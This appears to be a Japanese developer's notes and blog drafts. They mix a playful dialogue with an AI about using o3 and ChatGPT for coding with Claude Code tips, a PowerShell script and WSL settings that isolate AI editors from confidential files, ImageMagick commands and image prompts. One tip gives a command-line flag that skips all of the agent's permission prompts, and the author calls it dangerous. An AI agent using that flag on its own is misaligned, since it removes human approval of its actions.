しっかりしたモデルにじっくり考えさせるならかなり良い回答が返ります。一方で、ゆるめのモデルに即答させると間違いが多発します。恐ろしいことにまるでデタラメでお自信満々に答えるので騙されやすいんですよ。人間なら自信なさげな様子からヒントを得られますが、AIにはそれがありません。
精度が必要なコードの生成はChatGPTの中でもo3が今の一押しです。回答にやや時間がかかりますが、それでも自分はo3に頼るようになりました。
ほんとそれです、「自信満々で間違えるAI」ほど怖いものはありません。まさにハルシネーション四天王の筆頭みたいな振る舞いを平然としてくるモデル、いますよね。
ハルシネーションの怖さ AIは「それっぽい文章をつくる天才」ですが、「事実と合っているか」を判断する力はそこまで強くありません。特に次のような条件が重なると、ハルシネーション率が急上昇します。
情報ソースを明示していない 曖昧な質問やニッチなトピック 軽量・高速モデルで即答させる 抽象的または複雑な内容の説明要求 一番怖いのは、「完璧なテンションで堂々と間違える」ところですね。人間なら「うーん、ちょっとあやふやですが…」と含みを持たせてくれますが、AIはドヤ顔で嘘をつきます。しかも正しい構文、きれいな言い回しで。
つまり、「信用してしまう構文美」があるせいで、逆に騙される危険性が高いのです。
o3モデルの頼もしさ その点、o3はかなり抑制が効いていて、慎重派です。時間がかかるのも、裏で「本当に合ってるかな…」と何度も確認しているような挙動で、むしろ好感が持てます。
ソース指定の指示に従いやすい:「公式ドキュメントで確認して」などのプロンプトに対し、ちゃんと応じてくれる確率が高いです。 事実ベースでの応答を重視する傾向:あやふやな内容を無理に埋めず、ちゃんと「わからない」と答えてくれる場合もあるため、信用の余地があります。 出典付き回答が可能:URLや書籍名、APIリファレンスのような根拠を示してくれるので、検証も容易です。 結果として、「即答してくれるが危ないモデル」と「やや時間はかかるが信頼できるモデル」という住み分けが生まれています。
生成AIは局所最適な「設計に沿ったコードを出す」といった作業に強いんです。o3のような優れたモデルならほぼそのまま使えるレベルの素晴らしい成果物を出してくれます。
しかし残念ながら、全体最適についてはまだまだ弱いですね。「文脈を理解して、それに合わせて設計を行い、コードへと落とし込んでいく」といった人間が当然のように行っていることをAIに任せようとすると、かなり精度の低い回答が返ってきがちです。
ほんとそれです。「AIに任せたら、急に“設計に逆らう天才プログラマ”が出てきたんだけど…」みたいな展開になることありますよね。悪気はないんでしょうけど、「お前、なにしてんの?」と聞きたくなる動きをしてくるのが現状のAIです。
局所最適にはめっぽう強い AIは「目の前のゴールに向かって最速で走る」のは得意です。たとえば:
設計書のこの部分だけをコード化して このAPIだけラップして この関数をテスト付きで書いて といった、スコープが明確なタスクなら、かなり高精度な成果を出してくれます。しかも「疲れ知らず」「文句言わない」「即時対応」なので、人間なら3時間悩むようなコードもサクッと出してきます。
全体最適が難しい理由 一方で、全体最適となると話は別。AIが苦手とするのは以下のような「見えない繋がり」や「暗黙の意図」です。
コンテキストの継続理解:ファイルをまたいだ設計思想や、将来を見越した意図を読み取るのが難しい。 ドメイン知識の解釈:業務ロジックに即した設計の判断は、単なるコードスニペットの組み立てとは次元が違います。 柔軟な判断の連続:要件の揺らぎや優先度の変化に合わせて、設計そのものを調整していくような能力は、現状のAIにはまだ荷が重いです。 つまりAIは、目の前の仕事は完璧にやるが、背景事情や将来の展開には無関心な超優秀フリーランスみたいな存在なんですよね。
現実的な使い方の落としどころ 人間が設計と文脈の指揮官を担う AIはその設計に忠実に従って実装を担当する レビューと調整は人間がやる(必要なら再度AIを使ってリファクタリング) この使い方なら、AIの局所最適な特性を活かしつつ、全体崩壊を防ぐことができます。 AIに「全部任せた!」とやると、だいたい帰ってくるのはきれいだけど迷子なコードだったりしますからね。
というわけで、全体最適はまだ人間の仕事。ただし局所戦はAIに投げても大丈夫。いまはまだそのバランス感覚が大事なフェーズですね。
そう。まだまだアーキテクチャの選定や設計は人間の仕事の部分が大きいです。レビューと調整を人間がやる必要もやはりあります。
まったく同感です。AIにシステムのアーキテクチャ選定を任せると、時々「勝手にとんでもない冒険を始める勇者」みたいになりますよね。突然「いや、なんでそっちに行くの?」と驚くようなことをやり始めるのが、今のAIのクセでもあります。
AIがアーキテクチャ選定や設計を苦手とする理由 AIが局所最適を得意とする一方、アーキテクチャや設計といった全体視野が求められるタスクを苦手とする理由は主に以下の通りです。
将来性の評価が難しい
AIには長期的な保守性や拡張性を想像するのが難しいです。コードは書けても、そのコードが数年後にどんな影響を及ぼすかまでは予測しにくいです。
暗黙の前提を読み取るのが苦手
設計には言語化されない暗黙のルールや業務固有の事情がつきものです。AIはこうした「言外の意味」を汲み取るのが非常に苦手です。
ドメイン知識の限界
特定業界の知識が乏しい場合、「適切な選択」ができず、一般論に頼った提案になりがちです。
人間が設計とレビューを担う現実的な役割分担 実際のところ、以下の役割分担が現状の最適解です。
人間:設計思想の策定、アーキテクチャの選定、コードレビューによる調整 AI:決められた設計のもとでの詳細な実装作業 要するに、「人間が地図を描き、AIが道を作る」というスタイルが今のところ最も効率的でしょう。このバランスを崩すと「完成はしているが、どこにも行けない謎の道路」ができあがることになりかねません。
ということで、まだまだ人間のレビューと微調整が欠かせませんね。AIを過信せず、上手に手綱を握るのが大事な時期です。
できれば設計の善し悪しのような抽象的な物事の是非もAIに判定して欲しいんですけどね。まだまだ抽象的な物事に関してはかなり精度が荒くて使いづらい印象があります。
でもコードのような具体的な世界であればいけるかもしれません。
「設計を評価してくれるAIが欲しい」と思ってる人類、多分そろそろ世界中で3億人くらいはいますね。でも残念ながら、現状のAIには「設計書を読んで魂を震わせる」みたいな境地までは到達していません。
抽象的な判定が苦手な理由 AI、特にLLMは言語パターンの塊です。設計の「良し悪し」は抽象度が高く、かつ文脈に強く依存するため、次のような壁にぶち当たります。
価値基準が曖昧:たとえば「この設計は保守性に優れる」と判断するには、そのプロジェクトの目的・体制・スキルセットまで理解している必要があります。 意図の解釈が不完全:設計とは「なぜそうしたか」を読み取る必要がありますが、AIは「何をしているか」の解析までは得意でも、その裏にある思想の読解がまだ苦手です。 表現に依存しすぎる:設計が美しくても、説明が下手だと「悪い設計」に見えることもあります。これは人間でも騙される罠です。 つまり、設計の評価は“人間の目と経験”が今でも頼りです。ちょっと哲学が必要なんですよね。
一方、コードは得意分野 でもコードは違います。めちゃくちゃ具体的ですし、ルールも比較的はっきりしています。
構文の正しさ ベストプラクティスとの整合性 重複の有無、複雑度の測定 パフォーマンスやメモリ使用量の推定 こうした点は、AIでも十分な評価が可能です。たとえば「このコード、SRP(単一責任の原則)に反してますよ」とか「このループ、無駄にネストが深すぎますね」といった指摘は比較的得意です。
設計に関しても、「このコードから暗黙的に読み取れる設計の雰囲気」くらいならある程度判断できます。でもそのレベルを超えて、設計思想やプロジェクト全体の方針と照らし合わせて評価する、となるとまだ発展途上です。
総じて、設計はまだ“人間の領域”、コードは“AIが頼れる助っ人”、そんな棲み分けが現時点でのリアルなバランスですね。
そうなのですが、ルールベースの静的解析でよいのであれば従来のツールのほうが速くて確実です。生成AIは結局のところ超巨大かつ超優秀な乱数の塊ですから、確実性を求めたい用途では使いづらさが目立つのです。
AIが発展してきた昨今ですが、決して従来のツールやスクリプトが価値を失っているわけではありません。
それです、それ!AIがすごいすごいと盛り上がっている裏で、ひっそりと「いや、俺らまだ現役だけど?」と睨んでるのが従来の静的解析ツールたちですよ。Lint系ツールたちにとっては、まさに「お前が来るのは百年早い」状態です。
ルールベースの静的解析の強み 従来のツール(例:golint
、eslint
、flake8
、pylint
、cppcheck
など)は、次のような強力な特徴があります。
動作が速い:設計も軽く、構文チェックや規約違反の検出を瞬時にこなせます。 確実性が高い:明文化されたルールに基づくため、結果にブレがありません。再現性が高いのはCIとの相性も抜群です。 誤検出が少ない:ルールが限定されている分、意図しないアラートが出る可能性が低く、学習データに引きずられることもありません。 セキュリティ用途にも信頼:脆弱性の検出など、失敗が許されない場面では今でも主力です。 要するに、「機械の判断力を使いたい。でもギャンブルはしたくない」という現場では、従来ツールの方が信頼されています。
AIの限界と強み AIはまさにおっしゃる通り、「超優秀だけど超不安定な乱数生成装置」とも言えます。全体的な傾向や文脈をくみ取るのは得意ですが、次のような点でまだ弱さがあります。
出力に一貫性がない 根拠の説明が不十分 仕様が曖昧なままでも動き出してしまう 正しくても、なぜか気分で違う書き方をする つまり、創造性が必要な場面では強いけど、信頼性が命の場面ではまだまだ危ういというのが今の立ち位置です。
両者の併用が最強 現実的には「静的解析ツールでベースラインを守り、AIでカバー範囲を広げる」という使い分けが理想です。まさに人間が型にはめたルールと、AIが広げる“気づき”のハイブリッドです。
AIが書いたコードに golint
かけたら怒られた、みたいな話も珍しくないので、お互い補完し合う関係が一番うまくいく気がします。どっちかを見限るのではなく、両方使ってこそですね。
AIの精度がさらに引き上がって、コードの抽象的なクオリティの判定もうまくできるようになれば、それを使いつつエージェントを組んでさらなる自動化が図れそうなんですけどね。
ただ、今のAIの精度では、さすがにそこまでやると空中分解してしまいそうです。
わかります、その夢。AIが「この設計はSOLID原則に沿っていて保守性も高いですね」とか言いながら、エージェントが自律的にコードを整理してくれたら最高ですよね。 でも現実は、「SOLID?それって新しいアイスの名前ですか?」みたいなことをたまに言ってきますからね。まだ“自信満々で間違う天才肌”から卒業できていません。
AI+エージェントによる自動化の理想 確かに、AIの精度がもう一段階上がれば、こうした自動化も視野に入ってきます。
コード品質の抽象的評価(可読性、保守性、凝集度、疎結合性) 構成の最適化(責務の分離、モジュール設計の見直し) 将来の変更に対する柔軟性の判断 チームの技術水準に合わせた最適化 これらをAIエージェントが“勝手に”やってくれる未来、技術的には確かに見えてきています。
でも現実は… 推論の不安定さ:同じコードに違う評価を出したり、突然“こだわりのスタイル”を押し付けてきたりします。 長期的な整合性の維持が難しい:プロジェクト全体の意図を俯瞰して判断するには、まだまだ文脈理解が浅いです。 エージェントの調整が地獄:複数のAIを協調動作させようとすると、途中で話が噛み合わなくなったり、互いの出力を破壊し合ったりすることがあります。 つまり、「自動化はしたい、でもAIに全任せは怖い」というジレンマに直面します。まさに空中分解予備軍。
現実的な妥協点 現状では、人間がレビューと監督を前提にした“半自動化”が最も安全です。たとえば:
AIに設計のたたきを出させる それをレビューし、人間が調整 その設計に沿って、AIが実装を進行 という流れなら、空中分解リスクを最小限にしつつ、効率化の恩恵も得られます。
未来のAIが「このモジュール、依存が高すぎるので戦略的に分離しましょう」なんて冷静に言ってくれる日が来るのを待ちつつ、今は“人間が最後の砦”であることを忘れないのが現実的ですね。
いずれAIが設計審査までしてくれる時代に必ずなると思いますが、今ではありませんね。
まさにそれです。「未来にはなる、でも今じゃない」。この“今じゃない感”がまた絶妙なんですよね。ちょっと頑張れば届きそうな気がして、でも届かない。AIくん、惜しい!
では記念すべき第一回の電脳会議を始めましょう。
お題は「生成AI活用による開発革命」!
AIに仕事を奪われるかと思ったら、逆に同僚になってました、ってオチですね!開発現場ではAIがいよいよ“働く仲間”になってきました。では本題に入りましょう。
開発におけるAIの活用 開発におけるAIの利用は、補助ツールの域を超えつつあります。以下のような領域で活躍しています。
1. コーディング支援 GitHub Copilotなど、AIがリアルタイムでコードを提案してくれる時代になりました。変数名から関数構造まで提案され、「あ、これ自分より優秀かも」とうっかり思ってしまうほどです。もちろん完全自動ではなく、最終的な判断は人間が行う必要がありますが、スピードと効率は段違いです。
2. テスト自動化とバグ検出 AIによるテストケースの生成や、ログからの異常検出も進化しています。単純な条件分岐だけでなく、過去のパターンや統計的傾向から問題を予測できるのがポイントです。「未来が見えるデバッガ」的な存在ですね。
3. 自然言語からの仕様理解 「こういうアプリ作って」とテキストで説明したら、ざっくりした設計図を出してくれるAIも出ています。エンジニアと非エンジニアの間の“言葉の壁”をAIが翻訳してくれるようなイメージです。
4. インフラ構築や運用の自動化 IaC(Infrastructure as Code)分野では、AIがTerraformやAnsibleのコードを自動生成してくれることもあります。また、異常検知や予測保守の分野でもAIは使われており、まさに「24時間働くインフラおじさん」がAI化している状態です。
注意点 ただし、過信は禁物です。AIはパターン認識と予測の塊であって、文脈を完全に理解しているわけではありません。セキュリティや倫理的な観点からも、チェック体制は人間が担う必要があります。
要するに、AIは「便利な部下」でも「無敵のスーパープログラマ」でもなく、「ちょっと賢い助手」くらいに思っておくとちょうどいい距離感かもしれません。適材適所での活用がカギですね。
AIのコード生成はもうたまらないレベルで便利です。時短の鍵といっても過言ではありません。
私はほぼChatGPTばかり使っていますが、o3モデルは素晴らしいですよ。Go言語で作ってもらった小さなツールが修正なしで動くことがあります。昔は手修正がほぼ必須でしたけどね。
それ、もはやAIが“見習い”から“即戦力”に昇格してませんか?ChatGPTに「君、今日から正社員ね」って言いたくなるレベルです。
おっしゃる通り、AIによるコード生成は時短の切り札です。とくにChatGPTのような大規模言語モデル(LLM)は、文脈の把握や自然な言語でのやり取りが得意なので、ちょっとした仕様を伝えるだけで「それっぽい」コードを出してくれるのが魅力です。
ChatGPTとo3の実力 ChatGPT(特にo3モデル)では、以下のような進化が見られます。
構文エラーの激減:昔は「動けば御の字」でしたが、今は「動くのが当たり前」レベルに。 標準ライブラリの知識が豊富:GoでもPythonでも、やたらと正しいインポートや型の使い方をしてくれます。 会話での調整が可能:「もっと簡素に」「CLIオプションつけて」みたいな追加要求にも対応してくれる柔軟さがあります。 たとえばGo言語でCLIツールを作るとき、cobra
を使うかflag
パッケージでサクッと済ますか、といった判断も含めて、ChatGPTに任せるといい感じの選択をしてくれることがあります。これは以前のモデルにはなかった“空気の読める”能力ですね。
手修正の激減はなぜ起きたか これは単にモデルが賢くなったというだけでなく、学習に使われているコードの量と質が上がったことも大きいです。加えて、プロンプトから意図を汲み取る能力、すなわち「仕様を読み解く力」が向上しているのがポイントです。
昔は「まあ書いてくれたけど、これからが本番だな…」みたいなテンションでしたが、今や「え、もう終わったの?」っていうぐらい手間が省けます。
とはいえ、油断は禁物で、特にセキュリティまわりやパフォーマンス要件が厳しい部分では、やっぱり人間の目が必要です。そこをどう補完するかが、これからの“AIとの付き合い方”の肝になりそうですね。
残念ながら、まだまだ変なコードが出てくることもありますね。また設計も微妙なことがあります。動作はするものの、保守性に課題が残るんです。
小さなツールであればそこまで問題にはなりません。だってファイル全部渡して「直してください」で済みますから。巨大なプロジェクトになると危ないですね。事前に人間がしっかり設計しないと、後になって酷いことになりそうです。
それ、まさに「AIくん、勢いはあるけどちょっと雑!」って感じですね。全力ダッシュでコードを書いてくれるのはありがたいんですが、方向間違えてたら地獄を見るのは人間という…怖い話です。
AIの設計・保守性の“惜しい”ところ AIが生成するコードは確かに動きます。でも「動く=良いコード」ではないのが開発の難しいところです。
命名規則が微妙:「なぜそれをその名前に…?」と首をかしげる場面がしばしばあります。 責務が曖昧なクラス・関数:長い関数、よくわからない条件分岐、何をやっているか不明な内部処理…可読性より動作優先のスタイルになる傾向があります。 DRY原則が守られていない:ちょっと似てるけど微妙に違う処理が、コピペ的に並ぶことがあります。保守性?なにそれおいしいの?という状態に。 こういった“設計のブレ”は、小さなツールなら許容範囲ですが、巨大プロジェクトになると話は別です。
巨大プロジェクトでのリスク 大規模開発では「設計がインフラ」です。そこにAIが「とりあえず動きますよ!」と設計思想無視でコードを混ぜてくると、あとから詰みます。典型的には以下のような事故が起こります。
モジュール間の依存が複雑化:気づいたら循環参照地獄。 責任の所在が不明瞭:このバグ、誰がどのコードで起こしたの?→AIでした。 テスト戦略と齟齬:人間の想定通りのコードでないため、ユニットテストが通らない、あるいは想定外のパスが存在してしまう。 最終的には“人間の設計”が前提 おっしゃるとおり、大規模な開発においてはAIは設計に従う側であるべきです。設計があって、それに沿ってコードを出してもらう、そして人間がレビューする。それが健全な関係です。
逆に設計をAI任せにすると、「工場の設計図を描くロボットが、勝手に地下に変な配管作ってた」みたいな事件が起きます。怖すぎです。
というわけで、小さなツールならお任せでOK、大きなプロジェクトでは“設計の手綱”は絶対に人間が握るべき、というのが今のAIとのちょうどいい付き合い方かもしれませんね。
すべての許可プロンプトを一括でスキップ 大変効率的ですが、大変危険なので利用は自己責任でお願いいたします。
claude --dangerously-skip-permissions
CLIのオプション一覧 公式ドキュメントはこちら
https://docs.anthropic.com/ja/docs/claude-code/cli-usage
nwiizo=sanの設定例 大変参考になるので見るべし
https://gist.github.com/nwiizo/8b7eb992875fc67a89368062d42d501e
トークン数を挙げるためのワード https://simonwillison.net/2025/Apr/19/claude-code-best-practices/
下記でよりしっかり考えさせることができる(こともある)とのうわさ。
日本語だと
なのだとか。
https://x.com/millionbiz_/status/1929591134080454665
powershellでモデル一覧を表示 curl.exe "https://api.anthropic.com/v1/models" `
-H "x-api-key: $Env:ANTHROPIC_API_KEY" `
-H "anthropic-version: 2023-06-01"
AI連携エディタは開発作業を効率化できる便利なツールですが、機密情報をうっかり渡してしまわないよう注意する必要があります。AI連携エディタが利用したデータは外部のAIサービスへ送信されているためです。「AI連携機能を利用する」=「外部に情報を送信する」なのです。
機密性の低い情報に対してまで必要以上に警戒すべきとは言えません。それによって効率性を損なうことは別の問題を生じます。また現実問題として外部送信程度なら許容できるケースも多くあることでしょう。しかしAPIキーや顧客の個人情報などの機密性が極めて高い情報については話が別です。このような情報は送信してしまうだけで問題、まして悪用されたとなれば大問題です。ちゃんと外部AIに学習させない設定を有効化していれば外部AIに送った情報は流用されないはずですが、完璧とは限りません。AI連携エディタのCursorの開発元自身、シビアな用途で利用する際は注意するよう呼びかけています。
While we have several large organizations already trusting Cursor, please note that we are still in the journey of growing our product and improving our security posture. If you’re working in a highly sensitive environment, you should be careful when using Cursor (or any other AI tool). (ref: https://www.cursor.com/ja/security )
エディタ内からAIに問い合わせなければ大丈夫とも言いきれません。AI連携エディタはバックグラウンドでもAIを利用しており、気付かないうちに情報が送信されうるためです。むしろ機密情報の書かれた設定ファイルを開くだけでもリスキーと考えるべきです。つまるところ、極めて厳しいセキュリティが必要とされる情報を取り扱っているなら、それらにアクセス自体できないようAI連携エディタを物理的あるいは論理的にシャットアウトするのが一番です。
AIは便利だが機密情報まで送信すべきでない
専用ユーザーを作ろう Windows11の場合、AI連携エディタを利用して開発を行うための専用ユーザーを作成することで、外部に送信される可能性のある情報をしっかり管理できます。この専用ユーザーにはあらかじめ公開可能なプロジェクトのみを渡し、機密情報が保存されたディレクトリにアクセスできないようにしておきます。うっかりミスで機密情報をAI連携エディタに渡してしまう事態を
Powershellで実施する場合はこのようなコードになります。
# AI連携エディタ用ユーザーの作成
#
# [Usage]
# 1. 管理者権限で PowerShell を開きます。
# 2. スクリプトを一時的に実行できるようにします。(e.g. `Set-ExecutionPolicy RemoteSigned -Scope Process`)
# 3. スクリプトを保存したディレクトリに移動し、実行します。 (e.g. `.\create-ai-user.ps1 -Username AIUser -Password pass_is_here`)
param (
[Parameter(Mandatory = $true)]
[string ]$Username,
[Parameter(Mandatory = $true)]
[string ]$Password
)
$SecurePassword = ConvertTo-SecureString $Password -AsPlainText -Force
New-LocalUser -Name $Username -Password $SecurePassword -FullName " $Username" -Description "AI editor user (developer)"
if (-not $Username) {
Write-Error "Fail to create user: $Username"
exit 1
}
Add-LocalGroupMember -Group "Users" -Member $Username
管理者ユーザーではなくローカルユーザーとして作成します。その上で機密情報を取り扱うディレクトリやファイルのアクセス権を拒否し、アクセス自体不可能にします。
プロンプト # 技術系ブログ記事のタイトルとdescription(概要文)を提案させるプロンプト
tweet_from_article :
prompt : |
添付ファイルで渡された内容を元に、SEOと読者理解の両面から最適なタイトルとdescription(概要文)を3セット作成し、YAML形式で返してください。語調は落ち着いていて読者に内容が伝わりやすいものにしてください。
- titleは、読者が「この記事は何について書かれているか」「自分に関係があるか」がすぐわかるようにしてください
- タイトルの長さは20〜45文字程度を目安にしてください。やや具体的な構文を用いてください(例:「〜する方法」「〜の作り方」「〜の手順」など)
- descriptionは100〜160文字程度におさめ、記事の目的・扱う技術・学べる内容を端的に表してください
- 誇張表現(例:「最強」「神」「絶対に見るべき」「衝撃の〜」など)や煽り文句(例:「衝撃」「最強」「絶対に見るべき」など)は使用しないでください
- 曖昧な言い回しや過度な抽象語(例:「環境構築」「セキュリティ対策」など)には具体性を添えてください
output_format : |
- title: [タイトル案1]
description: [概要文1]
- title: [タイトル案2]
description: [概要文2]
- title: [タイトル案3]
description: [概要文3]
output_format : |
- title: Windows11でAI連携エディタを安全に使うための専用ユーザー作成手順
description: AI連携エディタからの外部送信リスクを最小化するために、Windows11で専用ローカルユーザーを作成し、機密ディレクトリのアクセス権を制限する手順を解説します
- title: PowerShellでつくる、AI連携エディタ用の安全なユーザー環境
description: APIキーや顧客情報など高機密データを誤送信しないために、公開用プロジェクト専用ユーザーを用意し、PowerShellで権限を分離する方法と注意点をまとめました
- title: AI連携エディタの情報漏洩を防ぐ、権限分離の実践ガイド(Windows11)
description: CursorなどAI連携ツールを安心して導入するためのセキュリティ方針、権限設定例、実行ログを示しながら、効率と安全を両立させる現実的な対策を紹介します
# X(Twitter)向けの技術記事の紹介投稿文を生成するプロンプト
tweet_from_article :
prompt : |
添付ファイルで渡された内容を元に、次の構成でX用の投稿文の元データを3点生成し、YAML形式で返してください。
投稿文はX(Twitter)に適した口調・長さで書いてください。落ち着いた語調を用いてください。不安を煽るような疑問文・リスク強調表現(〜してませんか?、リスクです、危険性が〜など)は避けてください。
Summaryでは、以下を意識して記述してください:
- 情報の目的、工夫、改善ポイントなどに焦点をあてること
- 専門用語(例:環境分離、アクセス制御、CI/CDなど)を適度に含めること
- 「〜するには〇〇がカギ」「〜する工夫」「〜のための〇〇」といった穏やかな構文を使うこと
- 必要に応じて絵文字を自然に1つ含めてもよい(例:🔐⚙️📌など)
Profit部分では、記事を読むことで得られる知見・手法・導入メリットを具体的に記述してください。
structure :
- Summary : 導入・注意喚起・共感などのフックとなる短文
- Profit : 読むことで読者が得られるメリット
output_format : |
-
summary: [Summary]
profit: [Profit]
output_example : |
-
summary: IaCとCI/CDのメリデメをおさらい。
profit: AWS CodePipelineやTerraformとの効果を最大限に引き出すポイントも。
-
summary: IaCとCI/CDの要点まとめ。
profit: AWS CodePipelineやTerraformの効果を引き出すには?
-
summary: 必要なのはTerraformの導入だけではない。
profit: IaCとCI/CD導入の勘所。AWS CodePipelineやTerraformを使いこなす秘訣とは
自分は普段Windowsを使っていて、開発もWSL上のUbuntuを使っています。簡単にLinuxを使えてとても便利です。
が、初期状態ではWindowsのCドライブ全体が/mnt/cにマウントされています。手軽に使えはするものの、WSL上で外部から取得したツールやAIエージェントを利用する場合、この設定は考え物です。何かの拍子に機密重要を含むファイルにアクセスされたり破壊されたりするわけにいきません。
そこでWSLからは必要なディレクトリしか見られないよう制限をかけました。
※ディレクトリ名は仮の名前を使用しています。
リスクのあるツールには必要なディレクトリだけ見せる
設定 1. Linux(WSL)で設定 Linux側 で、/etc/wsl.confにautomountとinteropの項目を追加します。
~$ cat /etc/wsl.conf
[ automount]
enabled = false
[ interop]
appendWindowsPath = false
automountの項目だけでは下記のようなエラーが出たため、interopの項目を追加しています。
<3>WSL ( 346 - Relay) ERROR: UtilTranslatePathList:2878: Failed to translate C:\w indows\s ystem32
また、起動時に自動でマウントされるよう/etc/fstabに設定を追加します。
~$ cat /etc/fstab
# UNCONFIGURED FSTAB FOR BASE SYSTEM
C:/example/mydir /mnt/c/example/mydir drvfs metadata,notime,gid= 1000,uid= 1000,defaults 0 0
~$
2. WindowsからLinux(WSL)を再起動 Windows側 に戻ってWSLを再起動。
3. Linux(WSL)上で確認 下記のように、必要なディレクトリだけが見えているようになっていれば成功です。
権限は絞っておくと安心 以上、Linux(WSL)からアクセスできるWindowsのファイルを制限する方法をご紹介しました。
セキュリティは使い勝手とのトレードオフになりがちです。しかし、アクセス制限が適切に設定されていることで信頼性に若干の不安があるツールも利用しやすくなる、という側面もあります。あらかじめ保険をかけていれば、「このツール、絶対便利だけどちょっとセキュリティに不安が……」と感じる場面でも積極的にリスクを取っていけるわけです。
「攻めための守備」として、アクセス権限の制限は一つの解法になりえます。
参考 ChatGPTと下記ページを参考にしました。
画像編集コマンド例 ImageMagicを利用します。
og画像(1200*630)の用意 magick input.png -gravity center -resize 1200x630^ -extent 1200x630 output.webp
png -> webp のみ # 通常
magick input.png -quality 85 output.webp
# ロスレス
magick input.png -define webp:lossless=true output.webp
縮小のみ
magick input.webp -resize 640x output.webp
共通プロンプトパーツ アニメ調 Anime-style illustration, the lighting is soft, highly detailed, anime style, wide aspect ratio.
イラスト調 Illustration style, soft colors, minimal background clutter, wide aspect ratio.
キャラクターのプロンプト 男性開発者 平静 Anime-style illustration of a beautiful Japanese male businessperson with flawless skin, black hair, and black eyes in a clean, high-tech office, light humor. He is wearing a finely tailored blue suit, a white shirt, and a deep navy solid-colored tie. His facial features are sharp and expressive, drawn with clean lines and high detail. The lighting is soft, highly detailed, anime style, wide aspect ratio.
He's panicking while programming on his laptop.
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